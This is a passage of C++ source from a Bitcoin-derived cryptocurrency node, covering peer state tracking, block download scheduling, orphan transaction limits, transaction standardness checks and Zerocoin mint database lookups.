boost::signals2::signal<void(const CBlockLocator&)> SetBestChain;
/** Notifies listeners about an inventory item being seen on the network. */
boost::signals2::signal<void(const uint256&)> Inventory;
/** Tells listeners to broadcast their data. */
boost::signals2::signal<void()> Broadcast;
/** Notifies listeners of a block validation result */
boost::signals2::signal<void(const CBlock&, const CValidationState&)> BlockChecked;
} g_signals;
} // anon namespace
void RegisterValidationInterface(CValidationInterface* pwalletIn)
{
g_signals.SyncTransaction.connect(boost::bind(&CValidationInterface::SyncTransaction, pwalletIn, _1, _2));
// XX42 g_signals.EraseTransaction.connect(boost::bind(&CValidationInterface::EraseFromWallet, pwalletIn, _1));
g_signals.UpdatedTransaction.connect(boost::bind(&CValidationInterface::UpdatedTransaction, pwalletIn, _1));
g_signals.SetBestChain.connect(boost::bind(&CValidationInterface::SetBestChain, pwalletIn, _1));
g_signals.Inventory.connect(boost::bind(&CValidationInterface::Inventory, pwalletIn, _1));
g_signals.Broadcast.connect(boost::bind(&CValidationInterface::ResendWalletTransactions, pwalletIn));
g_signals.BlockChecked.connect(boost::bind(&CValidationInterface::BlockChecked, pwalletIn, _1, _2));
}
void UnregisterValidationInterface(CValidationInterface* pwalletIn)
{
g_signals.BlockChecked.disconnect(boost::bind(&CValidationInterface::BlockChecked, pwalletIn, _1, _2));
g_signals.Broadcast.disconnect(boost::bind(&CValidationInterface::ResendWalletTransactions, pwalletIn));
g_signals.Inventory.disconnect(boost::bind(&CValidationInterface::Inventory, pwalletIn, _1));
g_signals.SetBestChain.disconnect(boost::bind(&CValidationInterface::SetBestChain, pwalletIn, _1));
g_signals.UpdatedTransaction.disconnect(boost::bind(&CValidationInterface::UpdatedTransaction, pwalletIn, _1));
// XX42 g_signals.EraseTransaction.disconnect(boost::bind(&CValidationInterface::EraseFromWallet, pwalletIn, _1));
g_signals.SyncTransaction.disconnect(boost::bind(&CValidationInterface::SyncTransaction, pwalletIn, _1, _2));
}
void UnregisterAllValidationInterfaces()
{
g_signals.BlockChecked.disconnect_all_slots();
g_signals.Broadcast.disconnect_all_slots();
g_signals.Inventory.disconnect_all_slots();
g_signals.SetBestChain.disconnect_all_slots();
g_signals.UpdatedTransaction.disconnect_all_slots();
// XX42 g_signals.EraseTransaction.disconnect_all_slots();
g_signals.SyncTransaction.disconnect_all_slots();
}
void SyncWithWallets(const CTransaction& tx, const CBlock* pblock)
{
g_signals.SyncTransaction(tx, pblock);
}
//////////////////////////////////////////////////////////////////////////////
//
// Registration of network node signals.
//
namespace
{
struct CBlockReject {
unsigned char chRejectCode;
string strRejectReason;
uint256 hashBlock;
};
/**
* Maintain validation-specific state about nodes, protected by cs_main, instead
* by CNode's own locks. This simplifies asynchronous operation, where
* processing of incoming data is done after the ProcessMessage call returns,
* and we're no longer holding the node's locks.
*/
struct CNodeState {
//! The peer's address
CService address;
//! Whether we have a fully established connection.
bool fCurrentlyConnected;
//! Accumulated misbehaviour score for this peer.
int nMisbehavior;
//! Whether this peer should be disconnected and banned (unless whitelisted).
bool fShouldBan;
//! String name of this peer (debugging/logging purposes).
std::string name;
//! List of asynchronously-determined block rejections to notify this peer about.
std::vector<CBlockReject> rejects;
//! The best known block we know this peer has announced.
CBlockIndex* pindexBestKnownBlock;
//! The hash of the last unknown block this peer has announced.
uint256 hashLastUnknownBlock;
//! The last full block we both have.
CBlockIndex* pindexLastCommonBlock;
//! Whether we've started headers synchronization with this peer.
bool fSyncStarted;
//! Since when we're stalling block download progress (in microseconds), or 0.
int64_t nStallingSince;
list<QueuedBlock> vBlocksInFlight;
int nBlocksInFlight;
//! Whether we consider this a preferred download peer.
bool fPreferredDownload;
CNodeState()
{
fCurrentlyConnected = false;
nMisbehavior = 0;
fShouldBan = false;
pindexBestKnownBlock = NULL;
hashLastUnknownBlock = uint256(0);
pindexLastCommonBlock = NULL;
fSyncStarted = false;
nStallingSince = 0;
nBlocksInFlight = 0;
fPreferredDownload = false;
}
};
/** Map maintaining per-node state. Requires cs_main. */
map<NodeId, CNodeState> mapNodeState;
// Requires cs_main.
CNodeState* State(NodeId pnode)
{
map<NodeId, CNodeState>::iterator it = mapNodeState.find(pnode);
if (it == mapNodeState.end())
return NULL;
return &it->second;
}
int GetHeight()
{
while (true) {
TRY_LOCK(cs_main, lockMain);
if (!lockMain) {
MilliSleep(50);
continue;
}
return chainActive.Height();
}
}
void UpdatePreferredDownload(CNode* node, CNodeState* state)
{
nPreferredDownload -= state->fPreferredDownload;
// Whether this node should be marked as a preferred download node.
state->fPreferredDownload = (!node->fInbound || node->fWhitelisted) && !node->fOneShot && !node->fClient;
nPreferredDownload += state->fPreferredDownload;
}
void InitializeNode(NodeId nodeid, const CNode* pnode)
{
LOCK(cs_main);
CNodeState& state = mapNodeState.insert(std::make_pair(nodeid, CNodeState())).first->second;
state.name = pnode->addrName;
state.address = pnode->addr;
}
void FinalizeNode(NodeId nodeid)
{
LOCK(cs_main);
CNodeState* state = State(nodeid);
if (state->fSyncStarted)
nSyncStarted--;
if (state->nMisbehavior == 0 && state->fCurrentlyConnected) {
AddressCurrentlyConnected(state->address);
}
BOOST_FOREACH (const QueuedBlock& entry, state->vBlocksInFlight)
mapBlocksInFlight.erase(entry.hash);
EraseOrphansFor(nodeid);
nPreferredDownload -= state->fPreferredDownload;
mapNodeState.erase(nodeid);
}
// Requires cs_main.
void MarkBlockAsReceived(const uint256& hash)
{
map<uint256, pair<NodeId, list<QueuedBlock>::iterator> >::iterator itInFlight = mapBlocksInFlight.find(hash);
if (itInFlight != mapBlocksInFlight.end()) {
CNodeState* state = State(itInFlight->second.first);
nQueuedValidatedHeaders -= itInFlight->second.second->fValidatedHeaders;
state->vBlocksInFlight.erase(itInFlight->second.second);
state->nBlocksInFlight--;
state->nStallingSince = 0;
mapBlocksInFlight.erase(itInFlight);
}
}
// Requires cs_main.
void MarkBlockAsInFlight(NodeId nodeid, const uint256& hash, CBlockIndex* pindex = NULL)
{
CNodeState* state = State(nodeid);
assert(state != NULL);
// Make sure it's not listed somewhere already.
MarkBlockAsReceived(hash);
QueuedBlock newentry = {hash, pindex, GetTimeMicros(), nQueuedValidatedHeaders, pindex != NULL};
nQueuedValidatedHeaders += newentry.fValidatedHeaders;
list<QueuedBlock>::iterator it = state->vBlocksInFlight.insert(state->vBlocksInFlight.end(), newentry);
state->nBlocksInFlight++;
mapBlocksInFlight[hash] = std::make_pair(nodeid, it);
}
/** Check whether the last unknown block a peer advertized is not yet known. */
void ProcessBlockAvailability(NodeId nodeid)
{
CNodeState* state = State(nodeid);
assert(state != NULL);
if (state->hashLastUnknownBlock != 0) {
BlockMap::iterator itOld = mapBlockIndex.find(state->hashLastUnknownBlock);
if (itOld != mapBlockIndex.end() && itOld->second->nChainWork > 0) {
if (state->pindexBestKnownBlock == NULL || itOld->second->nChainWork >= state->pindexBestKnownBlock->nChainWork)
state->pindexBestKnownBlock = itOld->second;
state->hashLastUnknownBlock = uint256(0);
}
}
}
/** Update tracking information about which blocks a peer is assumed to have. */
void UpdateBlockAvailability(NodeId nodeid, const uint256& hash)
{
CNodeState* state = State(nodeid);
assert(state != NULL);
ProcessBlockAvailability(nodeid);
BlockMap::iterator it = mapBlockIndex.find(hash);
if (it != mapBlockIndex.end() && it->second->nChainWork > 0) {
// An actually better block was announced.
if (state->pindexBestKnownBlock == NULL || it->second->nChainWork >= state->pindexBestKnownBlock->nChainWork)
state->pindexBestKnownBlock = it->second;
} else {
// An unknown block was announced; just assume that the latest one is the best one.
state->hashLastUnknownBlock = hash;
}
}
/** Find the last common ancestor two blocks have.
* Both pa and pb must be non-NULL. */
CBlockIndex* LastCommonAncestor(CBlockIndex* pa, CBlockIndex* pb)
{
if (pa->nHeight > pb->nHeight) {
pa = pa->GetAncestor(pb->nHeight);
} else if (pb->nHeight > pa->nHeight) {
pb = pb->GetAncestor(pa->nHeight);
}
while (pa != pb && pa && pb) {
pa = pa->pprev;
pb = pb->pprev;
}
// Eventually all chain branches meet at the genesis block.
assert(pa == pb);
return pa;
}
/** Update pindexLastCommonBlock and add not-in-flight missing successors to vBlocks, until it has
* at most count entries. */
void FindNextBlocksToDownload(NodeId nodeid, unsigned int count, std::vector<CBlockIndex*>& vBlocks, NodeId& nodeStaller)
{
if (count == 0)
return;
vBlocks.reserve(vBlocks.size() + count);
CNodeState* state = State(nodeid);
assert(state != NULL);
// Make sure pindexBestKnownBlock is up to date, we'll need it.
ProcessBlockAvailability(nodeid);
if (state->pindexBestKnownBlock == NULL || state->pindexBestKnownBlock->nChainWork < chainActive.Tip()->nChainWork) {
// This peer has nothing interesting.
return;
}
if (state->pindexLastCommonBlock == NULL) {
// Bootstrap quickly by guessing a parent of our best tip is the forking point.
// Guessing wrong in either direction is not a problem.
state->pindexLastCommonBlock = chainActive[std::min(state->pindexBestKnownBlock->nHeight, chainActive.Height())];
}
// If the peer reorganized, our previous pindexLastCommonBlock may not be an ancestor
// of their current tip anymore. Go back enough to fix that.
state->pindexLastCommonBlock = LastCommonAncestor(state->pindexLastCommonBlock, state->pindexBestKnownBlock);
if (state->pindexLastCommonBlock == state->pindexBestKnownBlock)
return;
std::vector<CBlockIndex*> vToFetch;
CBlockIndex* pindexWalk = state->pindexLastCommonBlock;
// Never fetch further than the best block we know the peer has, or more than BLOCK_DOWNLOAD_WINDOW + 1 beyond the last
// linked block we have in common with this peer. The +1 is so we can detect stalling, namely if we would be able to
// download that next block if the window were 1 larger.
int nWindowEnd = state->pindexLastCommonBlock->nHeight + BLOCK_DOWNLOAD_WINDOW;
int nMaxHeight = std::min<int>(state->pindexBestKnownBlock->nHeight, nWindowEnd + 1);
NodeId waitingfor = -1;
while (pindexWalk->nHeight < nMaxHeight) {
// Read up to 128 (or more, if more blocks than that are needed) successors of pindexWalk (towards
// pindexBestKnownBlock) into vToFetch. We fetch 128, because CBlockIndex::GetAncestor may be as expensive
// as iterating over ~100 CBlockIndex* entries anyway.
int nToFetch = std::min(nMaxHeight - pindexWalk->nHeight, std::max<int>(count - vBlocks.size(), 128));
vToFetch.resize(nToFetch);
pindexWalk = state->pindexBestKnownBlock->GetAncestor(pindexWalk->nHeight + nToFetch);
vToFetch[nToFetch - 1] = pindexWalk;
for (unsigned int i = nToFetch - 1; i > 0; i--) {
vToFetch[i - 1] = vToFetch[i]->pprev;
}
// Iterate over those blocks in vToFetch (in forward direction), adding the ones that
// are not yet downloaded and not in flight to vBlocks. In the mean time, update
// pindexLastCommonBlock as long as all ancestors are already downloaded.
BOOST_FOREACH (CBlockIndex* pindex, vToFetch) {
if (!pindex->IsValid(BLOCK_VALID_TREE)) {
// We consider the chain that this peer is on invalid.
return;
}
if (pindex->nStatus & BLOCK_HAVE_DATA) {
if (pindex->nChainTx)
state->pindexLastCommonBlock = pindex;
} else if (mapBlocksInFlight.count(pindex->GetBlockHash()) == 0) {
// The block is not already downloaded, and not yet in flight.
if (pindex->nHeight > nWindowEnd) {
// We reached the end of the window.
if (vBlocks.size() == 0 && waitingfor != nodeid) {
// We aren't able to fetch anything, but we would be if the download window was one larger.
nodeStaller = waitingfor;
}
return;
}
vBlocks.push_back(pindex);
if (vBlocks.size() == count) {
return;
}
} else if (waitingfor == -1) {
// This is the first already-in-flight block.
waitingfor = mapBlocksInFlight[pindex->GetBlockHash()].first;
}
}
}
}
} // anon namespace
bool GetNodeStateStats(NodeId nodeid, CNodeStateStats& stats)
{
LOCK(cs_main);
CNodeState* state = State(nodeid);
if (state == NULL)
return false;
stats.nMisbehavior = state->nMisbehavior;
stats.nSyncHeight = state->pindexBestKnownBlock ? state->pindexBestKnownBlock->nHeight : -1;
stats.nCommonHeight = state->pindexLastCommonBlock ? state->pindexLastCommonBlock->nHeight : -1;
BOOST_FOREACH (const QueuedBlock& queue, state->vBlocksInFlight) {
if (queue.pindex)
stats.vHeightInFlight.push_back(queue.pindex->nHeight);
}
return true;
}
void RegisterNodeSignals(CNodeSignals& nodeSignals)
{
nodeSignals.GetHeight.connect(&GetHeight);
nodeSignals.ProcessMessages.connect(&ProcessMessages);
nodeSignals.SendMessages.connect(&SendMessages);
nodeSignals.InitializeNode.connect(&InitializeNode);
nodeSignals.FinalizeNode.connect(&FinalizeNode);
}
void UnregisterNodeSignals(CNodeSignals& nodeSignals)
{
nodeSignals.GetHeight.disconnect(&GetHeight);
nodeSignals.ProcessMessages.disconnect(&ProcessMessages);
nodeSignals.SendMessages.disconnect(&SendMessages);
nodeSignals.InitializeNode.disconnect(&InitializeNode);
nodeSignals.FinalizeNode.disconnect(&FinalizeNode);
}
CBlockIndex* FindForkInGlobalIndex(const CChain& chain, const CBlockLocator& locator)
{
// Find the first block the caller has in the main chain
BOOST_FOREACH (const uint256& hash, locator.vHave) {
BlockMap::iterator mi = mapBlockIndex.find(hash);
if (mi != mapBlockIndex.end()) {
CBlockIndex* pindex = (*mi).second;
if (chain.Contains(pindex))
return pindex;
}
}
return chain.Genesis();
}
CCoinsViewCache* pcoinsTip = NULL;
CBlockTreeDB* pblocktree = NULL;
CZerocoinDB* zerocoinDB = NULL;
CSporkDB* pSporkDB = NULL;
//////////////////////////////////////////////////////////////////////////////
//
// mapOrphanTransactions
//
bool AddOrphanTx(const CTransaction& tx, NodeId peer)
{
uint256 hash = tx.GetHash();
if (mapOrphanTransactions.count(hash))
return false;
// Ignore big transactions, to avoid a
// send-big-orphans memory exhaustion attack. If a peer has a legitimate
// large transaction with a missing parent then we assume
// it will rebroadcast it later, after the parent transaction(s)
// have been mined or received.
// 10,000 orphans, each of which is at most 5,000 bytes big is
// at most 500 megabytes of orphans:
unsigned int sz = tx.GetSerializeSize(SER_NETWORK, CTransaction::CURRENT_VERSION);
if (sz > 5000) {
LogPrint("mempool", "ignoring large orphan tx (size: %u, hash: %s)\n", sz, hash.ToString());
return false;
}
mapOrphanTransactions[hash].tx = tx;
mapOrphanTransactions[hash].fromPeer = peer;
BOOST_FOREACH (const CTxIn& txin, tx.vin)
mapOrphanTransactionsByPrev[txin.prevout.hash].insert(hash);
LogPrint("mempool", "stored orphan tx %s (mapsz %u prevsz %u)\n", hash.ToString(),
mapOrphanTransactions.size(), mapOrphanTransactionsByPrev.size());
return true;
}
void static EraseOrphanTx(uint256 hash)
{
map<uint256, COrphanTx>::iterator it = mapOrphanTransactions.find(hash);
if (it == mapOrphanTransactions.end())
return;
BOOST_FOREACH (const CTxIn& txin, it->second.tx.vin) {
map<uint256, set<uint256> >::iterator itPrev = mapOrphanTransactionsByPrev.find(txin.prevout.hash);
if (itPrev == mapOrphanTransactionsByPrev.end())
continue;
itPrev->second.erase(hash);
if (itPrev->second.empty())
mapOrphanTransactionsByPrev.erase(itPrev);
}
mapOrphanTransactions.erase(it);
}
void EraseOrphansFor(NodeId peer)
{
int nErased = 0;
map<uint256, COrphanTx>::iterator iter = mapOrphanTransactions.begin();
while (iter != mapOrphanTransactions.end()) {
map<uint256, COrphanTx>::iterator maybeErase = iter++; // increment to avoid iterator becoming invalid
if (maybeErase->second.fromPeer == peer) {
EraseOrphanTx(maybeErase->second.tx.GetHash());
++nErased;
}
}
if (nErased > 0) LogPrint("mempool", "Erased %d orphan tx from peer %d\n", nErased, peer);
}
unsigned int LimitOrphanTxSize(unsigned int nMaxOrphans)
{
unsigned int nEvicted = 0;
while (mapOrphanTransactions.size() > nMaxOrphans) {
// Evict a random orphan:
uint256 randomhash = GetRandHash();
map<uint256, COrphanTx>::iterator it = mapOrphanTransactions.lower_bound(randomhash);
if (it == mapOrphanTransactions.end())
it = mapOrphanTransactions.begin();
EraseOrphanTx(it->first);
++nEvicted;
}
return nEvicted;
}
bool IsStandardTx(const CTransaction& tx, string& reason)
{
AssertLockHeld(cs_main);
if (tx.nVersion > CTransaction::CURRENT_VERSION || tx.nVersion < 1) {
reason = "version";
return false;
}
// Treat non-final transactions as non-standard to prevent a specific type
// of double-spend attack, as well as DoS attacks. (if the transaction
// can't be mined, the attacker isn't expending resources broadcasting it)
// Basically we don't want to propagate transactions that can't be included in
// the next block.
//
// However, IsFinalTx() is confusing... Without arguments, it uses
// chainActive.Height() to evaluate nLockTime; when a block is accepted, chainActive.Height()
// is set to the value of nHeight in the block. However, when IsFinalTx()
// is called within CBlock::AcceptBlock(), the height of the block *being*
// evaluated is what is used. Thus if we want to know if a transaction can
// be part of the *next* block, we need to call IsFinalTx() with one more
// than chainActive.Height().
//
// Timestamps on the other hand don't get any special treatment, because we
// can't know what timestamp the next block will have, and there aren't
// timestamp applications where it matters.
if (!IsFinalTx(tx, chainActive.Height() + 1)) {
reason = "non-final";
return false;
}
// Extremely large transactions with lots of inputs can cost the network
// almost as much to process as they cost the sender in fees, because
// computing signature hashes is O(ninputs*txsize). Limiting transactions
// to MAX_STANDARD_TX_SIZE mitigates CPU exhaustion attacks.
unsigned int sz = tx.GetSerializeSize(SER_NETWORK, CTransaction::CURRENT_VERSION);
unsigned int nMaxSize = tx.ContainsZerocoins() ? MAX_ZEROCOIN_TX_SIZE : MAX_STANDARD_TX_SIZE;
if (sz >= nMaxSize) {
reason = "tx-size";
return false;
}
for (const CTxIn& txin : tx.vin) {
if (txin.scriptSig.IsZerocoinSpend())
continue;
// Biggest 'standard' txin is a 15-of-15 P2SH multisig with compressed
// keys. (remember the 520 byte limit on redeemScript size) That works
// out to a (15*(33+1))+3=513 byte redeemScript, 513+1+15*(73+1)+3=1627
// bytes of scriptSig, which we round off to 1650 bytes for some minor
// future-proofing. That's also enough to spend a 20-of-20
// CHECKMULTISIG scriptPubKey, though such a scriptPubKey is not
// considered standard)
if (txin.scriptSig.size() > 1650) {
reason = "scriptsig-size";
return false;
}
if (!txin.scriptSig.IsPushOnly()) {
reason = "scriptsig-not-pushonly";
return false;
}
}
unsigned int nDataOut = 0;
txnouttype whichType;
BOOST_FOREACH (const CTxOut& txout, tx.vout) {
if (!::IsStandard(txout.scriptPubKey, whichType)) {
reason = "scriptpubkey";
return false;
}
if (whichType == TX_NULL_DATA)
nDataOut++;
else if ((whichType == TX_MULTISIG) && (!fIsBareMultisigStd)) {
reason = "bare-multisig";
return false;
} else if (txout.IsDust(::minRelayTxFee)) {
reason = "dust";
return false;
}
}
// only one OP_RETURN txout is permitted
if (nDataOut > 1) {
reason = "multi-op-return";
return false;
}
return true;
}
bool IsFinalTx(const CTransaction& tx, int nBlockHeight, int64_t nBlockTime)
{
AssertLockHeld(cs_main);
// Time based nLockTime implemented in 0.1.6
if (tx.nLockTime == 0)
return true;
if (nBlockHeight == 0)
nBlockHeight = chainActive.Height();
if (nBlockTime == 0)
nBlockTime = GetAdjustedTime();
if ((int64_t)tx.nLockTime < ((int64_t)tx.nLockTime < LOCKTIME_THRESHOLD ? (int64_t)nBlockHeight : nBlockTime))
return true;
BOOST_FOREACH (const CTxIn& txin, tx.vin)
if (!txin.IsFinal())
return false;
return true;
}
/**
* Check transaction inputs to mitigate two
* potential denial-of-service attacks:
*
* 1. scriptSigs with extra data stuffed into them,
* not consumed by scriptPubKey (or P2SH script)
* 2. P2SH scripts with a crazy number of expensive
* CHECKSIG/CHECKMULTISIG operations
*/
bool AreInputsStandard(const CTransaction& tx, const CCoinsViewCache& mapInputs)
{
if (tx.IsCoinBase() || tx.IsZerocoinSpend())
return true; // coinbase has no inputs and zerocoinspend has a special input
//todo should there be a check for a 'standard' zerocoinspend here?
for (unsigned int i = 0; i < tx.vin.size(); i++) {
const CTxOut& prev = mapInputs.GetOutputFor(tx.vin[i]);
vector<vector<unsigned char> > vSolutions;
txnouttype whichType;
// get the scriptPubKey corresponding to this input:
const CScript& prevScript = prev.scriptPubKey;
if (!Solver(prevScript, whichType, vSolutions))
return false;
int nArgsExpected = ScriptSigArgsExpected(whichType, vSolutions);
if (nArgsExpected < 0)
return false;
// Transactions with extra stuff in their scriptSigs are
// non-standard. Note that this EvalScript() call will
// be quick, because if there are any operations
// beside "push data" in the scriptSig
// IsStandard() will have already returned false
// and this method isn't called.
vector<vector<unsigned char> > stack;
if (!EvalScript(stack, tx.vin[i].scriptSig, false, BaseSignatureChecker()))
return false;
if (whichType == TX_SCRIPTHASH) {
if (stack.empty())
return false;
CScript subscript(stack.back().begin(), stack.back().end());
vector<vector<unsigned char> > vSolutions2;
txnouttype whichType2;
if (Solver(subscript, whichType2, vSolutions2)) {
int tmpExpected = ScriptSigArgsExpected(whichType2, vSolutions2);
if (tmpExpected < 0)
return false;
nArgsExpected += tmpExpected;
} else {
// Any other Script with less than 15 sigops OK:
unsigned int sigops = subscript.GetSigOpCount(true);
// ... extra data left on the stack after execution is OK, too:
return (sigops <= MAX_P2SH_SIGOPS);
}
}
if (stack.size() != (unsigned int)nArgsExpected)
return false;
}
return true;
}
unsigned int GetLegacySigOpCount(const CTransaction& tx)
{
unsigned int nSigOps = 0;
BOOST_FOREACH (const CTxIn& txin, tx.vin) {
nSigOps += txin.scriptSig.GetSigOpCount(false);
}
BOOST_FOREACH (const CTxOut& txout, tx.vout) {
nSigOps += txout.scriptPubKey.GetSigOpCount(false);
}
return nSigOps;
}
unsigned int GetP2SHSigOpCount(const CTransaction& tx, const CCoinsViewCache& inputs)
{
if (tx.IsCoinBase() || tx.IsZerocoinSpend())
return 0;
unsigned int nSigOps = 0;
for (unsigned int i = 0; i < tx.vin.size(); i++) {
const CTxOut& prevout = inputs.GetOutputFor(tx.vin[i]);
if (prevout.scriptPubKey.IsPayToScriptHash())
nSigOps += prevout.scriptPubKey.GetSigOpCount(tx.vin[i].scriptSig);
}
return nSigOps;
}
int GetInputAge(CTxIn& vin)
{
CCoinsView viewDummy;
CCoinsViewCache view(&viewDummy);
{
LOCK(mempool.cs);
CCoinsViewMemPool viewMempool(pcoinsTip, mempool);
view.SetBackend(viewMempool); // temporarily switch cache backend to db+mempool view
const CCoins* coins = view.AccessCoins(vin.prevout.hash);
if (coins) {
if (coins->nHeight < 0) return 0;
return (chainActive.Tip()->nHeight + 1) - coins->nHeight;
} else
return -1;
}
}
int GetInputAgeIX(uint256 nTXHash, CTxIn& vin)
{
int sigs = 0;
int nResult = GetInputAge(vin);
if (nResult < 0) nResult = 0;
if (nResult < 6) {
std::map<uint256, CTransactionLock>::iterator i = mapTxLocks.find(nTXHash);
if (i != mapTxLocks.end()) {
sigs = (*i).second.CountSignatures();
}
if (sigs >= SWIFTTX_SIGNATURES_REQUIRED) {
return nSwiftTXDepth + nResult;
}
}
return -1;
}
int GetIXConfirmations(uint256 nTXHash)
{
int sigs = 0;
std::map<uint256, CTransactionLock>::iterator i = mapTxLocks.find(nTXHash);
if (i != mapTxLocks.end()) {
sigs = (*i).second.CountSignatures();
}
if (sigs >= SWIFTTX_SIGNATURES_REQUIRED) {
return nSwiftTXDepth;
}
return 0;
}
bool MoneyRange(CAmount nValueOut)
{
return nValueOut >= 0 && nValueOut <= Params().MaxMoneyOut();
}
int GetZerocoinStartHeight()
{
return Params().Zerocoin_StartHeight();
}
void FindMints(vector<CZerocoinMint> vMintsToFind, vector<CZerocoinMint>& vMintsToUpdate, vector<CZerocoinMint>& vMissingMints, bool fExtendedSearch)
{
// see which mints are in our public zerocoin database. The mint should be here if it exists, unless
// something went wrong
for (CZerocoinMint mint : vMintsToFind) {
uint256 txHash;
if (!zerocoinDB->ReadCoinMint(mint.GetValue(), txHash)) {
vMissingMints.push_back(mint);
continue;
}
// make sure the txhash and block height meta data are correct for this mint
CTransaction tx;
uint256 hashBlock;
if (!GetTransaction(txHash, tx, hashBlock, true)) {
LogPrintf("%s : cannot find tx %s\n", __func__, txHash.GetHex());
vMissingMints.push_back(mint);
continue;
}
if (!mapBlockIndex.count(hashBlock)) {
LogPrintf("%s : cannot find block %s\n", __func__, hashBlock.GetHex());
vMissingMints.push_back(mint);
continue;
}
//see if this mint is spent
uint256 hashTxSpend = 0;
zerocoinDB->ReadCoinSpend(mint.GetSerialNumber(), hashTxSpend);
bool fSpent = hashTxSpend != 0;
//if marked as spent, check that it actually made it into the chain
CTransaction txSpend;
uint256 hashBlockSpend;
if (fSpent && !GetTransaction(hashTxSpend, txSpend, hashBlockSpend, true)) {
LogPrintf("%s : cannot find spend tx %s\n", __func__, hashTxSpend.GetHex());
zerocoinDB->EraseCoinSpend(mint.GetSerialNumber());
mint.SetUsed(false);
vMintsToUpdate.push_back(mint);
continue;
}
//The mint has been incorrectly labelled as spent in zerocoinDB and needs to be undone
int nHeightTx = 0;
if (fSpent && !IsSerialInBlockchain(mint.GetSerialNumber(), nHeightTx)) {
LogPrintf("%s : cannot find block %s. Erasing coinspend from zerocoinDB.\n", __func__, hashBlockSpend.GetHex());
zerocoinDB->EraseCoinSpend(mint.GetSerialNumber());
mint.SetUsed(false);
vMintsToUpdate.push_back(mint);
continue;
}
// if meta data is correct, then no need to update
if (mint.GetTxHash() == txHash && mint.GetHeight() == mapBlockIndex[hashBlock]->nHeight && mint.IsUsed() == fSpent)
continue;
//mark this mint for update
mint.SetTxHash(txHash);
mint.SetHeight(mapBlockIndex[hashBlock]->nHeight);
mint.SetUsed(fSpent);
vMintsToUpdate.push_back(mint);
}
if (fExtendedSearch)
{
// search the blockchain for the meta data on our missing mints
int nZerocoinStartHeight = GetZerocoinStartHeight();
for (int i = nZerocoinStartHeight; i < chainActive.Height(); i++) {
if(i % 1000 == 0)
LogPrintf("%s : scanned %d blocks\n", __func__, i - nZerocoinStartHeight);
if(chainActive[i]->vMintDenominationsInBlock.empty())
continue;
CBlock block;
if(!ReadBlockFromDisk(block, chainActive[i]))
continue;
list<CZerocoinMint> vMints;
if(!BlockToZerocoinMintList(block, vMints))
continue;
// search the blocks mints to see if it contains the mint that is requesting meta data updates
for (CZerocoinMint mintBlockChain : vMints) {
for (CZerocoinMint mintMissing : vMissingMints) {
if (mintMissing.GetValue() == mintBlockChain.GetValue()) {
LogPrintf("%s FOUND %s in block %d\n", __func__, mintMissing.GetValue().GetHex(), i);
mintMissing.SetHeight(i);
mintMissing.SetTxHash(mintBlockChain.GetTxHash());
vMintsToUpdate.push_back(mintMissing);
}
}
}
}
}
//remove any missing mints that were found
for (CZerocoinMint mintMissing : vMissingMints) {
for (CZerocoinMint mintFound : vMintsToUpdate) {
if (mintMissing.GetValue() == mintFound.GetValue())
std::remove(vMissingMints.begin(), vMissingMints.end(), mintMissing);
}
}
}
bool GetZerocoinMint(const CBigNum& bnPubcoin, uint256& txHash)
{
txHash = 0;
return zerocoinDB->ReadCoinMint(bnPubcoin, txHash);
}
bool IsSerialKnown(const CBigNum& bnSerial)
{
uint256 txHash = 0;
return zerocoinDB->ReadCoinSpend(bnSerial, txHash);
}
bool IsSerialInBlockchain(const CBigNum& bnSerial, int& nHeightTx)
{
uint256 txHash = 0;
// if not in zerocoinDB then its not in the blockchain
if (!zerocoinDB->ReadCoinSpend(bnSerial, txHash))
return false;
CTransaction tx;
uint256 hashBlock;
if (!GetTransaction(txHash, tx, hashBlock, true))
return false;
bool inChain = mapBlockIndex.count(hashBlock) && chainActive.Contains(mapBlockIndex[hashBlock]);
if (inChain)
nHeightTx = mapBlockIndex.at(hashBlock)->nHeight;
return inChain;
}
bool RemoveSerialFromDB(const CBigNum& bnSerial)
{
return zerocoinDB->EraseCoinSpend(bnSerial);
}
/** zerocoin transaction checks */
bool RecordMintToDB(PublicCoin publicZerocoin, const uint256& txHash)
{
//Check the pubCoinValue didn't already store in the zerocoin database. todo: pubcoin memory map?
//write the zerocoinmint to db if we don't already have it
//note that many of the mint parameters are not set here because those params are private to the minter
CZerocoinMint pubCoinTx;
uint256 hashFromDB;
if (zerocoinDB->ReadCoinMint(publicZerocoin.getValue(), hashFromDB)) {
if(hashFromDB == txHash)
return true;
LogPrintf("RecordMintToDB: failed, we already have this public coin recorded\n");
return false;
}
if (!zerocoinDB->WriteCoinMint(publicZerocoin, txHash)) {
LogPrintf("RecordMintToDB: failed to record public coin to DB\n");
return false;
}
return true;
}
bool TxOutToPublicCoin(const CTxOut txout, PublicCoin& pubCoin, CValidationState& state)
{
CBigNum publicZerocoin;
vector<unsigned char> vchZeroMint;
vchZeroMint.insert(vchZeroMint.end(), txout.scriptPubKey.begin() + SCRIPT_OFFSET,
txout.scriptPubKey.begin() + txout.scriptPubKey.size());
publicZerocoin.setvch(vchZeroMint);
CoinDenomination denomination = AmountToZerocoinDenomination(txout.nValue);
LogPrint("zero", "%s ZCPRINT denomination %d pubcoin %s\n", __func__, denomination, publicZerocoin.GetHex());
if (denomination == ZQ_ERROR)
return state.DoS(100, error("TxOutToPublicCoin : txout.nValue is not correct"));
PublicCoin checkPubCoin(Params().Zerocoin_Params(), publicZerocoin, denomination);
pubCoin = checkPubCoin;
return true;
}
bool BlockToPubcoinList(const CBlock& block, list<PublicCoin>& listPubcoins)
{
for (const CTransaction tx : block.vtx) {
if(!tx.IsZerocoinMint())
continue;
for (unsigned int i = 0; i < tx.vout.size(); i++) {
const CTxOut txOut = tx.vout[i];
if(!txOut.scriptPubKey.IsZerocoinMint())
continue;
CValidationState state;
PublicCoin pubCoin(Params().Zerocoin_Params());
if(!TxOutToPublicCoin(txOut, pubCoin, state))
return false;
listPubcoins.emplace_back(pubCoin);
}
}
return true;
}
//return a list of zerocoin mints contained in a specific block
bool BlockToZerocoinMintList(const CBlock& block, std::list<CZerocoinMint>& vMints)
{
for (const CTransaction tx : block.vtx) {
if(!tx.IsZerocoinMint())
continue;
for (unsigned int i = 0; i < tx.vout.size(); i++) {
const CTxOut txOut = tx.vout[i];
if(!txOut.scriptPubKey.IsZerocoinMint())
continue;
CValidationState state;
PublicCoin pubCoin(Params().Zerocoin_Params());
if(!TxOutToPublicCoin(txOut, pubCoin, state))
return false;
CZerocoinMint mint = CZerocoinMint(pubCoin.getDenomination(), pubCoin.getValue(), 0, 0, false);
mint.SetTxHash(tx.GetHash());
vMints.push_back(mint);
}
}
return true;
}
